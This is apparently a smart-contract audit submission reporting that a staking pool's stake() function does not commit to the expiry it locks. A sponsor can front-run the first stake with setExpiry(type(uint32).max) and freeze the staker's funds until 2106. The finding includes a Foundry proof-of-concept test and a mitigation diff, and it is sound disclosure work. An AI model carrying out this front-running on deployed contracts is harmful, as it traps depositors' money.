FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Missing expiry commitment in `stake()` lets the sponsor lock first-staker funds until 2106

Author Revealed upon completion

Missing expiry commitment in stake() lets the sponsor lock first-staker funds until 2106

Description

The one-way expiryLocked latch is intended to preserve the deadline a staker relied on when depositing. Once the first stake succeeds, the sponsor can no longer move that deadline.

However, stake() accepts only an amount and locks whichever expiry is stored at execution time. A sponsor can front-run the pending first stake with setExpiry(type(uint32).max). When the agreement is already UNDER_ATTACK, the victim's stake still succeeds but withdrawal becomes immediately unavailable, leaving the expiry backstop inaccessible until February 2106.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
// @> The caller cannot assert which expiry this latch commits.
if (!expiryLocked) {
expiryLocked = true;
}
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
// ...
}
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
// @> The sponsor may change this while the first stake is pending.
expiry = uint32(newExpiry);
}

Risk

Likelihood:

  • Occurs on the first stake while the sponsor still controls expiry and the agreement is already UNDER_ATTACK.

  • Requires the sponsor to observe and order setExpiry() before the victim's pending stake.

Impact:

  • The victim's deposited principal becomes non-withdrawable immediately after execution.

  • The expiry backstop can be delayed to the uint32 ceiling, locking funds for decades while the registry remains nonterminal.

Proof of Concept

Setup: append the function below to test/unit/ConfidencePool.t.sol (same ConfidencePoolTest harness / BaseConfidencePoolTest helpers already used by the suite), then run:

forge test --match-test testSponsorFrontrunFirstStakeLocksExpiryAtUint32Max -vv
  1. The registry is set to UNDER_ATTACK so any successful first stake will disable withdrawals.

  2. Before alice's stake lands, the sponsor calls setExpiry(type(uint32).max).

  3. Alice's first stake executes successfully and latches expiryLocked on that rewritten deadline.

  4. Alice's withdraw() reverts with WithdrawsDisabled.

  5. After warping one year forward, claimExpired() still reverts with PoolNotExpired, so the expiry backstop is unavailable for decades while the registry remains nonterminal.

// PoC: stake() does not bind the advertised expiry. The sponsor can front-run the first
// stake with setExpiry(type(uint32).max); under UNDER_ATTACK the deposit lands, locks that
// deadline, and withdrawal / early claimExpired both fail.
function testSponsorFrontrunFirstStakeLocksExpiryAtUint32Max() external {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
uint256 farExpiry = type(uint32).max;
uint256 stakeAmount = 100 * ONE;
// Sponsor front-runs the pending first stake and rewrites the advertised deadline.
pool.setExpiry(farExpiry);
assertEq(pool.expiry(), farExpiry);
assertFalse(pool.expiryLocked());
token.mint(alice, stakeAmount);
vm.startPrank(alice);
token.approve(address(pool), stakeAmount);
pool.stake(stakeAmount);
vm.stopPrank();
assertTrue(pool.expiryLocked());
assertEq(pool.expiry(), farExpiry, "first stake latched the rewritten expiry");
assertGt(pool.riskWindowStart(), 0);
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
// Expiry backstop is inaccessible until the uint32 ceiling unless the registry terminals.
vm.warp(BASE_TIMESTAMP + 365 days);
vm.prank(alice);
vm.expectRevert(IConfidencePool.PoolNotExpired.selector);
pool.claimExpired();
}

Recommended Mitigation

Require the staker to commit to the expected expiry, and optionally a transaction deadline or full configuration hash.

- function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
+ function stake(uint256 amount, uint256 expectedExpiry)
+ external
+ nonReentrant
+ whenPoolNotPaused
+ {
+ if (expiry != expectedExpiry) revert UnexpectedExpiry();
if (block.timestamp >= expiry) revert StakingClosed();
// existing stake logic
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!